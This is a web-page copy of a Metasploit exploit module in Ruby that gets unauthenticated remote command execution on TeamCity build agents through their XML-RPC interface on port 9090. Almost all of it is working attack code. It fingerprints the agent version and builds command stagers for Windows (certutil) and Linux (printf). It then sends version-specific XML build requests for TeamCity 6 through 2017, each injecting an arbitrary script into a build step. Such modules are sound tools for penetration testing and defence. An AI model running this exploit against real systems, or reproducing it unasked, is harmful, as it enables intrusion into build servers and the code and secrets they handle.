Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/teamcity_agent_xmlrpc_exec.rb
32007 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::CmdStager
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'TeamCity Agent XML-RPC Command Execution',
17
'Description' => %q{
18
This module allows remote code execution on TeamCity Agents configured
19
to use bidirectional communication via xml-rpc. In bidirectional mode
20
the TeamCity server pushes build commands to the Build Agents over port
21
TCP/9090 without requiring authentication. Up until version 10 this was
22
the default configuration. This module supports TeamCity agents from
23
version 6.0 onwards.
24
},
25
'Author' => ['Dylan Pindur <[email protected]>'],
26
'License' => MSF_LICENSE,
27
'References' => [
28
['URL', 'https://www.tenable.com/plugins/nessus/94675']
29
],
30
'Targets' => [
31
['Windows', { 'Platform' => 'win' }],
32
['Linux', { 'Platform' => 'linux' }]
33
],
34
'DefaultTarget' => 0,
35
'DisclosureDate' => '2015-04-14',
36
'Notes' => {
37
'Reliability' => UNKNOWN_RELIABILITY,
38
'Stability' => UNKNOWN_STABILITY,
39
'SideEffects' => UNKNOWN_SIDE_EFFECTS
40
}
41
)
42
)
43
44
deregister_options('SRVHOST', 'SRVPORT', 'URIPATH', 'VHOST')
45
register_options(
46
[
47
Opt::RPORT(9090),
48
OptString.new(
49
'CMD',
50
[false, 'Execute this command instead of using command stager', '']
51
)
52
]
53
)
54
end
55
56
def check
57
version = determine_version
58
if !version.nil? && version >= 15772
59
Exploit::CheckCode::Appears
60
else
61
Exploit::CheckCode::Safe
62
end
63
end
64
65
def exploit
66
version = determine_version
67
if version.nil?
68
fail_with(Failure::NoTarget, 'Could not determine TeamCity Agent version')
69
else
70
print_status("Found TeamCity Agent running build version #{version}")
71
end
72
73
unless datastore['CMD'].blank?
74
print_status('Executing user supplied command')
75
execute_command(datastore['CMD'], version)
76
return
77
end
78
79
case target['Platform']
80
when 'linux'
81
linux_stager(version)
82
when 'win'
83
windows_stager(version)
84
else
85
fail_with(Failure::NoTarget, 'Unsupported target platform!')
86
end
87
end
88
89
def windows_stager(version)
90
print_status('Constructing Windows payload')
91
92
stager = generate_cmdstager(
93
flavor: :certutil,
94
temp: '.',
95
concat_operator: "\n",
96
nodelete: true
97
).join("\n")
98
stager = stager.gsub(/^(?<exe>.{5}\.exe)/, 'start "" \k<exe>')
99
100
xml_payload = build_request(stager, version)
101
if xml_payload.nil?
102
fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")
103
end
104
105
print_status("Found compatible build config for TeamCity build #{version}")
106
send_request(xml_payload)
107
end
108
109
def linux_stager(version)
110
print_status('Constructing Linux payload')
111
112
stager = generate_cmdstager(
113
flavor: :printf,
114
temp: '.',
115
concat_operator: "\n",
116
nodelete: true
117
).join("\n")
118
stager << ' &amp;'
119
120
xml_payload = build_request(stager, version)
121
if xml_payload.nil?
122
fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")
123
end
124
125
print_status("Found compatible build config for TeamCity build #{version}")
126
send_request(xml_payload)
127
end
128
129
def execute_command(cmd, version)
130
xml_payload = build_request(cmd, version)
131
132
if xml_payload.nil?
133
fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")
134
end
135
136
print_status("Found compatible build config for TeamCity build #{version}")
137
send_request(xml_payload)
138
end
139
140
def determine_version
141
xml_payload = %(
142
<?xml version="1.0" encoding="UTF-8"?>
143
<methodCall>
144
<methodName>buildAgent.getVersion</methodName>
145
<params></params>
146
</methodCall>
147
)
148
res = send_request_cgi(
149
{
150
'uri' => '/',
151
'method' => 'POST',
152
'ctype' => 'text/xml',
153
'data' => xml_payload.strip!
154
},
155
10
156
)
157
158
if !res.nil? && res.code == 200
159
xml_doc = res.get_xml_document
160
if xml_doc.errors.empty?
161
val = xml_doc.xpath('/methodResponse/params/param/value')
162
if val.length == 1
163
return val.text.to_i
164
end
165
end
166
end
167
return nil
168
end
169
170
def send_request(xml_payload)
171
res = send_request_cgi(
172
{
173
'uri' => '/',
174
'method' => 'POST',
175
'ctype' => 'text/xml',
176
'data' => xml_payload
177
},
178
10
179
)
180
181
if !res.nil? && res.code == 200
182
print_status('Successfully sent build configuration')
183
else
184
print_status('Failed to send build configuration')
185
end
186
end
187
188
def build_request(script_content, version)
189
case version
190
when 0..15771
191
return nil
192
when 15772..17794
193
return req_teamcity_6(script_content)
194
when 17795..21240
195
return req_teamcity_6_5(script_content)
196
when 21241..27401
197
return req_teamcity_7(script_content)
198
when 27402..32059
199
return req_teamcity_8(script_content)
200
when 32060..42001
201
return req_teamcity_9(script_content)
202
when 42002..46532
203
return req_teamcity_10(script_content)
204
else
205
return req_teamcity_2017(script_content)
206
end
207
end
208
209
def req_teamcity_2017(script_content)
210
build_code = Rex::Text.rand_text_alpha(8)
211
build_id = Rex::Text.rand_text_numeric(8)
212
xml_payload = %(
213
<?xml version="1.0" encoding="UTF-8"?>
214
<methodCall>
215
<methodName>buildAgent.runBuild</methodName>
216
<params>
217
<param>
218
<value>
219
<![CDATA[
220
<AgentBuild>
221
<myBuildId>#{build_id}</myBuildId>
222
<myBuildTypeId>x</myBuildTypeId>
223
<myBuildTypeExternalId>x</myBuildTypeExternalId>
224
<myCheckoutType>ON_AGENT</myCheckoutType>
225
<myVcsSettingsHashForServerCheckout>x</myVcsSettingsHashForServerCheckout>
226
<myVcsSettingsHashForAgentCheckout>#{build_code}</myVcsSettingsHashForAgentCheckout>
227
<myVcsSettingsHashForManualCheckout>x</myVcsSettingsHashForManualCheckout>
228
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
229
<myServerParameters class="StringTreeMap">
230
<k>system.build.number</k>
231
<v>0</v>
232
</myServerParameters>
233
<myAccessCode/>
234
<myArtifactDependencies/>
235
<myArtifactPaths/>
236
<myArtifactStorageSettings/>
237
<myBuildFeatures/>
238
<myBuildTypeOptions/>
239
<myFullCheckoutReasons/>
240
<myParametersSpecs class="StringTreeMap"/>
241
<myPersonalVcsChanges/>
242
<myUserBuildParameters/>
243
<myVcsChanges/>
244
<myVcsRootCurrentRevisions class="tree-map"/>
245
<myVcsRootEntries/>
246
<myVcsRootOldRevisions class="tree-map"/>
247
<myBuildRunners>
248
<jetbrains.buildServer.agentServer.BuildRunnerData>
249
<myId>x</myId>
250
<myIsDisabled>false</myIsDisabled>
251
<myRunType>simpleRunner</myRunType>
252
<myRunnerName>x</myRunnerName>
253
<myChildren class="list"/>
254
<myServerParameters class="tree-map">
255
<entry>
256
<string>teamcity.build.step.name</string>
257
<string>x</string>
258
</entry>
259
</myServerParameters>
260
<myRunnerParameters class="tree-map">
261
<entry>
262
<string>script.content</string>
263
<string>#{script_content}</string>
264
</entry>
265
<entry>
266
<string>teamcity.step.mode</string>
267
<string>default</string>
268
</entry>
269
<entry>
270
<string>use.custom.script</string>
271
<string>true</string>
272
</entry>
273
</myRunnerParameters>
274
</jetbrains.buildServer.agentServer.BuildRunnerData>
275
</myBuildRunners>
276
</AgentBuild>
277
]]>
278
</value>
279
</param>
280
</params>
281
</methodCall>
282
)
283
return xml_payload.strip!
284
end
285
286
def req_teamcity_10(script_content)
287
build_code = Rex::Text.rand_text_alpha(8)
288
build_id = Rex::Text.rand_text_numeric(8)
289
xml_payload = %(
290
<?xml version="1.0" encoding="UTF-8"?>
291
<methodCall>
292
<methodName>buildAgent.runBuild</methodName>
293
<params>
294
<param>
295
<value>
296
<![CDATA[
297
<AgentBuild>
298
<myBuildId>#{build_id}</myBuildId>
299
<myBuildTypeId>x</myBuildTypeId>
300
<myBuildTypeExternalId>x</myBuildTypeExternalId>
301
<myCheckoutType>ON_AGENT</myCheckoutType>
302
<myVcsSettingsHashForServerCheckout>x</myVcsSettingsHashForServerCheckout>
303
<myVcsSettingsHashForAgentCheckout>#{build_code}</myVcsSettingsHashForAgentCheckout>
304
<myVcsSettingsHashForManualCheckout>x</myVcsSettingsHashForManualCheckout>
305
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
306
<myServerParameters class="StringTreeMap">
307
<k>system.build.number</k>
308
<v>0</v>
309
</myServerParameters>
310
<myAccessCode/>
311
<myArtifactDependencies/>
312
<myArtifactPaths/>
313
<myBuildFeatures/>
314
<myBuildTypeOptions/>
315
<myFullCheckoutReasons/>
316
<myParametersSpecs class="StringTreeMap"/>
317
<myPersonalVcsChanges/>
318
<myUserBuildParameters/>
319
<myVcsChanges/>
320
<myVcsRootCurrentRevisions class="tree-map"/>
321
<myVcsRootEntries/>
322
<myVcsRootOldRevisions class="tree-map"/>
323
<myBuildRunners>
324
<jetbrains.buildServer.agentServer.BuildRunnerData>
325
<myId>x</myId>
326
<myIsDisabled>false</myIsDisabled>
327
<myRunType>simpleRunner</myRunType>
328
<myRunnerName>x</myRunnerName>
329
<myChildren class="list"/>
330
<myServerParameters class="tree-map">
331
<entry>
332
<string>teamcity.build.step.name</string>
333
<string>x</string>
334
</entry>
335
</myServerParameters>
336
<myRunnerParameters class="tree-map">
337
<entry>
338
<string>script.content</string>
339
<string>#{script_content}</string>
340
</entry>
341
<entry>
342
<string>teamcity.step.mode</string>
343
<string>default</string>
344
</entry>
345
<entry>
346
<string>use.custom.script</string>
347
<string>true</string>
348
</entry>
349
</myRunnerParameters>
350
</jetbrains.buildServer.agentServer.BuildRunnerData>
351
</myBuildRunners>
352
</AgentBuild>
353
]]>
354
</value>
355
</param>
356
</params>
357
</methodCall>
358
)
359
return xml_payload.strip!
360
end
361
362
def req_teamcity_9(script_content)
363
build_id = Rex::Text.rand_text_numeric(8)
364
xml_payload = %(
365
<?xml version="1.0" encoding="UTF-8"?>
366
<methodCall>
367
<methodName>buildAgent.runBuild</methodName>
368
<params>
369
<param>
370
<value>
371
<![CDATA[
372
<AgentBuild>
373
<myBuildId>#{build_id}</myBuildId>
374
<myBuildTypeId>x</myBuildTypeId>
375
<myBuildTypeExternalId>x</myBuildTypeExternalId>
376
<myCheckoutType>ON_AGENT</myCheckoutType>
377
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
378
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
379
<myServerParameters class="StringTreeMap">
380
<k>system.build.number</k>
381
<v>0</v>
382
</myServerParameters>
383
<myAccessCode/>
384
<myArtifactDependencies/>
385
<myArtifactPaths/>
386
<myBuildFeatures/>
387
<myBuildTypeOptions/>
388
<myFullCheckoutReasons/>
389
<myPersonalVcsChanges/>
390
<myUserBuildParameters/>
391
<myVcsChanges/>
392
<myVcsRootCurrentRevisions class="tree-map"/>
393
<myVcsRootEntries/>
394
<myVcsRootOldRevisions class="tree-map"/>
395
<myBuildRunners>
396
<jetbrains.buildServer.agentServer.BuildRunnerData>
397
<myId>x</myId>
398
<myIsDisabled>false</myIsDisabled>
399
<myRunType>simpleRunner</myRunType>
400
<myRunnerName>x</myRunnerName>
401
<myChildren class="list"/>
402
<myServerParameters class="tree-map">
403
<entry>
404
<string>teamcity.build.step.name</string>
405
<string>x</string>
406
</entry>
407
</myServerParameters>
408
<myRunnerParameters class="tree-map">
409
<entry>
410
<string>script.content</string>
411
<string>#{script_content}</string>
412
</entry>
413
<entry>
414
<string>teamcity.step.mode</string>
415
<string>default</string>
416
</entry>
417
<entry>
418
<string>use.custom.script</string>
419
<string>true</string>
420
</entry>
421
</myRunnerParameters>
422
</jetbrains.buildServer.agentServer.BuildRunnerData>
423
</myBuildRunners>
424
</AgentBuild>
425
]]>
426
</value>
427
</param>
428
</params>
429
</methodCall>
430
)
431
return xml_payload.strip!
432
end
433
434
def req_teamcity_8(script_content)
435
build_id = Rex::Text.rand_text_numeric(8)
436
xml_payload = %(
437
<?xml version="1.0" encoding="UTF-8"?>
438
<methodCall>
439
<methodName>buildAgent.runBuild</methodName>
440
<params>
441
<param>
442
<value>
443
<![CDATA[
444
<AgentBuild>
445
<myBuildId>#{build_id}</myBuildId>
446
<myBuildTypeId>x</myBuildTypeId>
447
<myCheckoutType>ON_AGENT</myCheckoutType>
448
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
449
<myServerParameters class="tree-map">
450
<entry>
451
<string>system.build.number</string>
452
<string>0</string>
453
</entry>
454
</myServerParameters>
455
<myAccessCode/>
456
<myArtifactDependencies/>
457
<myArtifactPaths/>
458
<myBuildTypeOptions/>
459
<myFullCheckoutReasons/>
460
<myPersonalVcsChanges/>
461
<myUserBuildParameters/>
462
<myVcsChanges/>
463
<myVcsRootCurrentRevisions class="tree-map"/>
464
<myVcsRootEntries/>
465
<myVcsRootOldRevisions class="tree-map"/>
466
<myBuildRunners>
467
<jetbrains.buildServer.agentServer.BuildRunnerData>
468
<myId>x</myId>
469
<myIsDisabled>false</myIsDisabled>
470
<myRunType>simpleRunner</myRunType>
471
<myRunnerName>x</myRunnerName>
472
<myChildren class="list"/>
473
<myServerParameters class="tree-map">
474
<entry>
475
<string>teamcity.build.step.name</string>
476
<string>x</string>
477
</entry>
478
</myServerParameters>
479
<myRunnerParameters class="tree-map">
480
<entry>
481
<string>script.content</string>
482
<string>#{script_content}</string>
483
</entry>
484
<entry>
485
<string>teamcity.step.mode</string>
486
<string>default</string>
487
</entry>
488
<entry>
489
<string>use.custom.script</string>
490
<string>true</string>
491
</entry>
492
</myRunnerParameters>
493
</jetbrains.buildServer.agentServer.BuildRunnerData>
494
</myBuildRunners>
495
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
496
<myBuildFeatures/>
497
</AgentBuild>
498
]]>
499
</value>
500
</param>
501
</params>
502
</methodCall>
503
)
504
return xml_payload.strip!
505
end
506
507
def req_teamcity_7(script_content)
508
build_id = Rex::Text.rand_text_numeric(8)
509
xml_payload = %(
510
<?xml version="1.0" encoding="UTF-8"?>
511
<methodCall>
512
<methodName>buildAgent.runBuild</methodName>
513
<params>
514
<param>
515
<value>
516
<![CDATA[
517
<AgentBuild>
518
<myBuildId>#{build_id}</myBuildId>
519
<myBuildTypeId>x</myBuildTypeId>
520
<myCheckoutType>ON_AGENT</myCheckoutType>
521
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
522
<myServerParameters class="tree-map">
523
<no-comparator/>
524
<entry>
525
<string>system.build.number</string>
526
<string>0</string>
527
</entry>
528
</myServerParameters>
529
<myVcsRootOldRevisions class="tree-map">
530
<no-comparator/>
531
</myVcsRootOldRevisions>
532
<myVcsRootCurrentRevisions class="tree-map">
533
<no-comparator/>
534
</myVcsRootCurrentRevisions>
535
<myAccessCode/>
536
<myArtifactDependencies/>
537
<myArtifactPaths/>
538
<myBuildTypeOptions/>
539
<myFullCheckoutReasons/>
540
<myPersonalVcsChanges/>
541
<myUserBuildParameters/>
542
<myVcsChanges/>
543
<myVcsRootEntries/>
544
<myBuildRunners>
545
<jetbrains.buildServer.agentServer.BuildRunnerData>
546
<myRunType>simpleRunner</myRunType>
547
<myRunnerName>x</myRunnerName>
548
<myRunnerParameters class="tree-map">
549
<no-comparator/>
550
<entry>
551
<string>script.content</string>
552
<string>#{script_content}</string>
553
</entry>
554
<entry>
555
<string>teamcity.step.mode</string>
556
<string>default</string>
557
</entry>
558
<entry>
559
<string>use.custom.script</string>
560
<string>true</string>
561
</entry>
562
</myRunnerParameters>
563
<myServerParameters class="tree-map">
564
<no-comparator/>
565
<entry>
566
<string>teamcity.build.step.name</string>
567
<string>x</string>
568
</entry>
569
</myServerParameters>
570
</jetbrains.buildServer.agentServer.BuildRunnerData>
571
</myBuildRunners>
572
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
573
<myBuildFeatures/>
574
</AgentBuild>
575
]]>
576
</value>
577
</param>
578
</params>
579
</methodCall>
580
)
581
return xml_payload.strip!
582
end
583
584
def req_teamcity_6_5(script_content)
585
build_id = Rex::Text.rand_text_numeric(8)
586
xml_payload = %(
587
<?xml version="1.0" encoding="UTF-8"?>
588
<methodCall>
589
<methodName>buildAgent.run</methodName>
590
<params>
591
<param>
592
<value>
593
<![CDATA[
594
<AgentBuild>
595
<myBuildId>#{build_id}</myBuildId>
596
<myBuildTypeId>x</myBuildTypeId>
597
<myPersonal>false</myPersonal>
598
<myCheckoutType>ON_AGENT</myCheckoutType>
599
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
600
<myServerParameters class="tree-map">
601
<no-comparator/>
602
<entry>
603
<string>system.build.number</string>
604
<string>0</string>
605
</entry>
606
</myServerParameters>
607
<myVcsRootOldRevisions class="tree-map">
608
<no-comparator/>
609
</myVcsRootOldRevisions>
610
<myVcsRootCurrentRevisions class="tree-map">
611
<no-comparator/>
612
</myVcsRootCurrentRevisions>
613
<myAccessCode/>
614
<myArtifactDependencies/>
615
<myBuildTypeOptions/>
616
<myPersonalVcsChanges/>
617
<myUserBuildParameters/>
618
<myVcsChanges/>
619
<myVcsRootEntries/>
620
<myBuildRunners>
621
<jetbrains.buildServer.agentServer.BuildRunnerData>
622
<myRunType>simpleRunner</myRunType>
623
<myRunnerName>x</myRunnerName>
624
<myRunnerParameters class="tree-map">
625
<no-comparator/>
626
<entry>
627
<string>script.content</string>
628
<string>#{script_content}</string>
629
</entry>
630
<entry>
631
<string>use.custom.script</string>
632
<string>true</string>
633
</entry>
634
</myRunnerParameters>
635
<myServerParameters class="tree-map">
636
<no-comparator/>
637
</myServerParameters>
638
</jetbrains.buildServer.agentServer.BuildRunnerData>
639
</myBuildRunners>
640
</AgentBuild>
641
]]>
642
</value>
643
</param>
644
</params>
645
</methodCall>
646
)
647
return xml_payload.strip!
648
end
649
650
def req_teamcity_6(script_content)
651
build_id = Rex::Text.rand_text_numeric(8)
652
xml_payload = %(
653
<?xml version="1.0" encoding="UTF-8"?>
654
<methodCall>
655
<methodName>buildAgent.run</methodName>
656
<params>
657
<param>
658
<value>
659
<![CDATA[
660
<AgentBuild>
661
<myBuildId>#{build_id}</myBuildId>
662
<myBuildTypeId>x</myBuildTypeId>
663
<myAccessCode></myAccessCode>
664
<myPersonal>false</myPersonal>
665
<myCheckoutType>ON_AGENT</myCheckoutType>
666
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
667
<myServerParameters class="tree-map">
668
<no-comparator/>
669
<entry>
670
<string>system.build.number</string>
671
<string>0</string>
672
</entry>
673
</myServerParameters>
674
<myVcsRootOldRevisions class="tree-map">
675
<no-comparator/>
676
</myVcsRootOldRevisions>
677
<myVcsRootCurrentRevisions class="tree-map">
678
<no-comparator/>
679
</myVcsRootCurrentRevisions>
680
<myArtifactDependencies/>
681
<myBuildTypeOptions/>
682
<myPersonalVcsChanges/>
683
<myUserBuildParameters/>
684
<myVcsChanges/>
685
<myVcsRootEntries/>
686
<myBuildRunners>
687
<jetbrains.buildServer.agentServer.BuildRunnerData>
688
<myRunType>simpleRunner</myRunType>
689
<myServerParameters class="tree-map">
690
<no-comparator/>
691
</myServerParameters>
692
<myRunnerParameters class="tree-map">
693
<no-comparator/>
694
<entry>
695
<string>script.content</string>
696
<string>#{script_content}</string>
697
</entry>
698
<entry>
699
<string>use.custom.script</string>
700
<string>true</string>
701
</entry>
702
</myRunnerParameters>
703
</jetbrains.buildServer.agentServer.BuildRunnerData>
704
</myBuildRunners>
705
</AgentBuild>
706
]]>
707
</value>
708
</param>
709
</params>
710
</methodCall>
711
)
712
return xml_payload.strip!
713
end
714
end
715
716